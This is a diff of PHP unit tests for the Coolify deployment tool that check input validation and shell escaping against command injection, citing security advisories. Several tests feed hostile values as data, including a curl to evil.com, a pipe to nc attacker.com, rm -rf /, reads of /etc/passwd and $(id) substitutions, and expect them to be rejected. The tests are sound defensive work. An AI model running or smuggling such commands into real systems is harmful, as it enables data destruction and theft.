test('file storage accepts safe file mount paths', function () {
|
||||
$safePaths = [
|
||||
'/etc/nginx/nginx.conf',
|
||||
'/app/.env',
|
||||
'/data/coolify/services/abc123/config.yml',
|
||||
'/var/www/html/index.php',
|
||||
'/opt/app/config/database.json',
|
||||
];
|
||||
|
||||
foreach ($safePaths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'file storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('file storage accepts relative dot-prefixed paths', function () {
|
||||
expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('./data', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
@@ -0,0 +1,54 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests verifying that GetContainersStatus has empty container
|
||||
* safeguards for ALL resource types (applications, previews, databases, services).
|
||||
*
|
||||
* When Docker queries fail and return empty container lists, resources should NOT
|
||||
* be falsely marked as "exited". This was originally added for applications and
|
||||
* previews (commit 684bd823c) but was missing for databases and services.
|
||||
*
|
||||
* @see https://github.com/coollabsio/coolify/issues/8826
|
||||
*/
|
||||
it('has empty container safeguard for applications', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// The safeguard should appear before marking applications as exited
|
||||
expect($actionFile)
|
||||
->toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);');
|
||||
|
||||
// Count occurrences of the safeguard pattern in the not-found sections
|
||||
$safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed';
|
||||
$safeguardCount = substr_count($actionFile, $safeguardPattern);
|
||||
|
||||
// Should appear at least 4 times: applications, previews, databases, services
|
||||
expect($safeguardCount)->toBeGreaterThanOrEqual(4);
|
||||
});
|
||||
|
||||
it('has empty container safeguard for databases', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the database not-found section
|
||||
$databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);');
|
||||
expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist');
|
||||
|
||||
// Get the code between database section start and the next major section
|
||||
$databaseSection = substr($actionFile, $databaseSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the database section
|
||||
expect($databaseSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
|
||||
it('has empty container safeguard for services', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the service exited section
|
||||
$serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');');
|
||||
expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist');
|
||||
|
||||
// Get the code in the service exited loop
|
||||
$serviceSection = substr($actionFile, $serviceSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the service section
|
||||
expect($serviceSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
@@ -0,0 +1,123 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
|
||||
*
|
||||
* Ensures that git_commit_sha and related inputs are validated
|
||||
* to prevent OS command injection via shell metacharacters.
|
||||
*/
|
||||
|
||||
describe('validateGitRef', function () {
|
||||
test('accepts valid hex commit SHAs', function () {
|
||||
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
|
||||
expect(validateGitRef('a3e59e5c9'))->toBe('a3e59e5c9');
|
||||
expect(validateGitRef('abc123def456abc123def456abc123def456abc123'))->toBe('abc123def456abc123def456abc123def456abc123');
|
||||
});
|
||||
|
||||
test('accepts HEAD', function () {
|
||||
expect(validateGitRef('HEAD'))->toBe('HEAD');
|
||||
});
|
||||
|
||||
test('accepts empty string', function () {
|
||||
expect(validateGitRef(''))->toBe('');
|
||||
});
|
||||
|
||||
test('accepts branch and tag names', function () {
|
||||
expect(validateGitRef('main'))->toBe('main');
|
||||
expect(validateGitRef('feature/my-branch'))->toBe('feature/my-branch');
|
||||
expect(validateGitRef('v1.2.3'))->toBe('v1.2.3');
|
||||
expect(validateGitRef('release-2.0'))->toBe('release-2.0');
|
||||
expect(validateGitRef('my_branch'))->toBe('my_branch');
|
||||
});
|
||||
|
||||
test('trims whitespace', function () {
|
||||
expect(validateGitRef(' abc123 '))->toBe('abc123');
|
||||
});
|
||||
|
||||
test('rejects single quote injection', function () {
|
||||
expect(fn () => validateGitRef("HEAD'; id >/tmp/poc; #"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects semicolon command separator', function () {
|
||||
expect(fn () => validateGitRef('abc123; rm -rf /'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects command substitution with $()', function () {
|
||||
expect(fn () => validateGitRef('$(whoami)'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects backtick command substitution', function () {
|
||||
expect(fn () => validateGitRef('`whoami`'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects pipe operator', function () {
|
||||
expect(fn () => validateGitRef('abc | cat /etc/passwd'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects ampersand operator', function () {
|
||||
expect(fn () => validateGitRef('abc & whoami'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects hash comment injection', function () {
|
||||
expect(fn () => validateGitRef('abc #'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects newline injection', function () {
|
||||
expect(fn () => validateGitRef("abc\nwhoami"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects redirect operators', function () {
|
||||
expect(fn () => validateGitRef('abc > /tmp/out'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects hyphen-prefixed input (git flag injection)', function () {
|
||||
expect(fn () => validateGitRef('--upload-pack=malicious'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects the exact PoC payload from advisory', function () {
|
||||
expect(fn () => validateGitRef("HEAD'; whoami >/tmp/coolify_poc_git; #"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
});
|
||||
|
||||
describe('executeInDocker git log escaping', function () {
|
||||
test('git log command escapes commit SHA to prevent injection', function () {
|
||||
$maliciousCommit = "HEAD'; id; #";
|
||||
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
|
||||
$result = executeInDocker('test-container', $command);
|
||||
|
||||
// The malicious payload must not be able to break out of quoting
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->toContain("'HEAD'\\''");
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildGitCheckoutCommand escaping', function () {
|
||||
test('checkout command escapes target to prevent injection', function () {
|
||||
$app = new \App\Models\Application;
|
||||
$app->forceFill(['uuid' => 'test-uuid']);
|
||||
|
||||
$settings = new \App\Models\ApplicationSetting;
|
||||
$settings->is_git_submodules_enabled = false;
|
||||
$app->setRelation('settings', $settings);
|
||||
|
||||
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
|
||||
|
||||
$result = $method->invoke($app, 'abc123');
|
||||
expect($result)->toContain("git checkout 'abc123'");
|
||||
|
||||
$result = $method->invoke($app, "abc'; id; #");
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->toContain("git checkout 'abc'");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,91 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\GitlabApp;
|
||||
use App\Models\PrivateKey;
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('generates ls-remote commands for GitLab source with private key', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(1);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'git@gitlab.com:user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
$application->source = $gitlabSource;
|
||||
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
|
||||
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toHaveKey('commands');
|
||||
expect($result['commands'])->toContain('git ls-remote');
|
||||
expect($result['commands'])->toContain('id_rsa');
|
||||
expect($result['commands'])->toContain('mkdir -p /root/.ssh');
|
||||
});
|
||||
|
||||
it('generates ls-remote commands for GitLab source without private key', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'https://gitlab.com/user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
$application->source = $gitlabSource;
|
||||
|
||||
$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
|
||||
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toHaveKey('commands');
|
||||
expect($result['commands'])->toContain('git ls-remote');
|
||||
expect($result['commands'])->toContain('https://gitlab.com/user/repo.git');
|
||||
// Should NOT contain SSH key setup
|
||||
expect($result['commands'])->not->toContain('id_rsa');
|
||||
});
|
||||
|
||||
it('does not return null for GitLab source type', function () {
|
||||
$deploymentUuid = 'test-deployment-uuid';
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'https://gitlab.com/user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
$application->source = $gitlabSource;
|
||||
|
||||
$lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false);
|
||||
expect($lsRemoteResult)->not->toBeNull();
|
||||
expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']);
|
||||
});
|
||||
@@ -0,0 +1,339 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\ApplicationSetting;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('sanitizes health_check_host to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_host' => 'localhost; id > /tmp/pwned #',
|
||||
]);
|
||||
|
||||
// Should fall back to 'localhost' because input contains shell metacharacters
|
||||
expect($result)->not->toContain('; id')
|
||||
->and($result)->not->toContain('/tmp/pwned')
|
||||
->and($result)->toContain('localhost');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_method to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'GET; curl http://evil.com #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('evil.com')
|
||||
->and($result)->not->toContain('; curl');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_path to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_path' => '/health; rm -rf / #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('rm -rf')
|
||||
->and($result)->not->toContain('; rm');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_scheme to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_scheme' => 'http; cat /etc/passwd #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('/etc/passwd')
|
||||
->and($result)->not->toContain('; cat');
|
||||
});
|
||||
|
||||
it('casts health_check_port to integer to prevent injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_port' => '8080; whoami',
|
||||
]);
|
||||
|
||||
// (int) cast on non-numeric after digits yields 8080
|
||||
expect($result)->not->toContain('whoami')
|
||||
->and($result)->toContain('8080');
|
||||
});
|
||||
|
||||
it('generates valid healthcheck command with safe inputs', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
'health_check_port' => '8080',
|
||||
'health_check_path' => '/health',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->toContain('http://localhost:8080/health')
|
||||
->and($result)->toContain('wget -q -O-');
|
||||
});
|
||||
|
||||
it('uses escapeshellarg on the constructed URL', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_host' => 'my-app.local',
|
||||
'health_check_path' => '/api/health',
|
||||
]);
|
||||
|
||||
// escapeshellarg wraps in single quotes
|
||||
expect($result)->toContain("'http://my-app.local:80/api/health'");
|
||||
});
|
||||
|
||||
it('validates health_check_host rejects shell metacharacters via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_host' => 'localhost; id #'],
|
||||
['health_check_host' => $rules['health_check_host']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_method rejects invalid methods via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_method' => 'GET; curl evil.com'],
|
||||
['health_check_method' => $rules['health_check_method']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_scheme rejects invalid schemes via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_scheme' => 'http; whoami'],
|
||||
['health_check_scheme' => $rules['health_check_scheme']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_path rejects shell metacharacters via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_path' => '/health; rm -rf /'],
|
||||
['health_check_path' => $rules['health_check_path']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_port rejects non-numeric values via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_port' => '8080; whoami'],
|
||||
['health_check_port' => $rules['health_check_port']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows valid health check values via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
[
|
||||
'health_check_host' => 'my-app.localhost',
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'https',
|
||||
'health_check_path' => '/api/v1/health',
|
||||
'health_check_port' => 8080,
|
||||
],
|
||||
[
|
||||
'health_check_host' => $rules['health_check_host'],
|
||||
'health_check_method' => $rules['health_check_method'],
|
||||
'health_check_scheme' => $rules['health_check_scheme'],
|
||||
'health_check_path' => $rules['health_check_path'],
|
||||
'health_check_port' => $rules['health_check_port'],
|
||||
]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('generates CMD healthcheck command directly', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
expect($result)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
it('strips newlines from CMD healthcheck command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => "redis-cli\nping",
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain("\n")
|
||||
->and($result)->toBe('redis-cli ping');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => '',
|
||||
]);
|
||||
|
||||
// Should fall through to HTTP path
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'curl localhost; rm -rf /',
|
||||
]);
|
||||
|
||||
// Semicolons are blocked by runtime regex — falls back to HTTP healthcheck
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('rm -rf');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'echo test | nc attacker.com 4444',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('nc attacker.com');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains subshell', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'curl $(cat /etc/passwd)',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('/etc/passwd');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => str_repeat('a', 1001),
|
||||
]);
|
||||
|
||||
// Exceeds max length — falls back to HTTP healthcheck
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD command contains backticks', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'curl `cat /etc/passwd`',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->not->toContain('/etc/passwd');
|
||||
});
|
||||
|
||||
it('uses sanitized method in full_healthcheck_url display', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'INVALID;evil',
|
||||
'health_check_host' => 'localhost',
|
||||
]);
|
||||
|
||||
// Method should be sanitized to 'GET' (default) in both command and display
|
||||
expect($result)->toContain("'GET'")
|
||||
->and($result)->not->toContain('evil');
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
/**
|
||||
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
||||
*/
|
||||
function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||
{
|
||||
$defaults = [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
'health_check_port' => null,
|
||||
'health_check_path' => '/',
|
||||
'ports_exposes' => '80',
|
||||
];
|
||||
|
||||
$values = array_merge($defaults, $overrides);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
|
||||
$application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
|
||||
$application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
|
||||
|
||||
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
|
||||
$settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
|
||||
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
|
||||
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
|
||||
$deploymentQueue->shouldReceive('addLogEntry')->andReturnNull();
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
|
||||
$appProp = $reflection->getProperty('application');
|
||||
$appProp->setAccessible(true);
|
||||
$appProp->setValue($job, $application);
|
||||
|
||||
$queueProp = $reflection->getProperty('application_deployment_queue');
|
||||
$queueProp->setAccessible(true);
|
||||
$queueProp->setValue($job, $deploymentQueue);
|
||||
|
||||
$method = $reflection->getMethod('generate_healthcheck_commands');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke($job);
|
||||
}
|
||||
@@ -1,7 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Notifications\Server\HetznerDeletionFailed;
|
||||
use Mockery;
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
test('DockerCompose handles array format from parseEnvFormatToArray', function () {
|
||||
// Simulate the array format that parseEnvFormatToArray returns
|
||||
$variables = [
|
||||
'KEY1' => ['value' => 'value1', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'],
|
||||
'KEY3' => ['value' => 'value3', 'comment' => null],
|
||||
];
|
||||
|
||||
// Test the extraction logic
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction
|
||||
expect($value)->toBeString();
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
|
||||
|
||||
if ($key === 'KEY1') {
|
||||
expect($value)->toBe('value1');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY2') {
|
||||
expect($value)->toBe('value2');
|
||||
expect($comment)->toBe('This is a comment');
|
||||
} elseif ($key === 'KEY3') {
|
||||
expect($value)->toBe('value3');
|
||||
expect($comment)->toBeNull();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('DockerCompose handles plain string format gracefully', function () {
|
||||
// Simulate a scenario where parseEnvFormatToArray might return plain strings
|
||||
// (for backward compatibility or edge cases)
|
||||
$variables = [
|
||||
'KEY1' => 'value1',
|
||||
'KEY2' => 'value2',
|
||||
'KEY3' => 'value3',
|
||||
];
|
||||
|
||||
// Test the extraction logic
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction
|
||||
expect($value)->toBeString();
|
||||
expect($comment)->toBeNull();
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
|
||||
}
|
||||
});
|
||||
|
||||
test('DockerCompose handles mixed array and string formats', function () {
|
||||
// Simulate a mixed scenario (unlikely but possible)
|
||||
$variables = [
|
||||
'KEY1' => ['value' => 'value1', 'comment' => 'comment1'],
|
||||
'KEY2' => 'value2', // Plain string
|
||||
'KEY3' => ['value' => 'value3', 'comment' => null],
|
||||
'KEY4' => 'value4', // Plain string
|
||||
];
|
||||
|
||||
// Test the extraction logic
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction
|
||||
expect($value)->toBeString();
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']);
|
||||
|
||||
if ($key === 'KEY1') {
|
||||
expect($value)->toBe('value1');
|
||||
expect($comment)->toBe('comment1');
|
||||
} elseif ($key === 'KEY2') {
|
||||
expect($value)->toBe('value2');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY3') {
|
||||
expect($value)->toBe('value3');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY4') {
|
||||
expect($value)->toBe('value4');
|
||||
expect($comment)->toBeNull();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('DockerCompose handles empty array values gracefully', function () {
|
||||
// Simulate edge case with incomplete array structure
|
||||
$variables = [
|
||||
'KEY1' => ['value' => 'value1'], // Missing 'comment' key
|
||||
'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case)
|
||||
'KEY3' => [], // Empty array (edge case)
|
||||
];
|
||||
|
||||
// Test the extraction logic with improved fallback
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction doesn't crash
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
|
||||
|
||||
if ($key === 'KEY1') {
|
||||
expect($value)->toBe('value1');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY2') {
|
||||
// If 'value' is missing, fallback to empty string (not the whole array)
|
||||
expect($value)->toBe('');
|
||||
expect($comment)->toBe('comment2');
|
||||
} elseif ($key === 'KEY3') {
|
||||
// If both are missing, fallback to empty string (not empty array)
|
||||
expect($value)->toBe('');
|
||||
expect($comment)->toBeNull();
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,118 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
|
||||
// and never appear raw in shell commands
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('does not interpolate axiom api key into shell commands', function () {
|
||||
$maliciousPayload = '$(id >/tmp/pwned)';
|
||||
|
||||
$server = mock(Server::class)->makePartial();
|
||||
$settings = mock(ServerSetting::class)->makePartial();
|
||||
|
||||
$settings->is_logdrain_axiom_enabled = true;
|
||||
$settings->is_logdrain_newrelic_enabled = false;
|
||||
$settings->is_logdrain_highlight_enabled = false;
|
||||
$settings->is_logdrain_custom_enabled = false;
|
||||
$settings->logdrain_axiom_dataset_name = 'test-dataset';
|
||||
$settings->logdrain_axiom_api_key = $maliciousPayload;
|
||||
|
||||
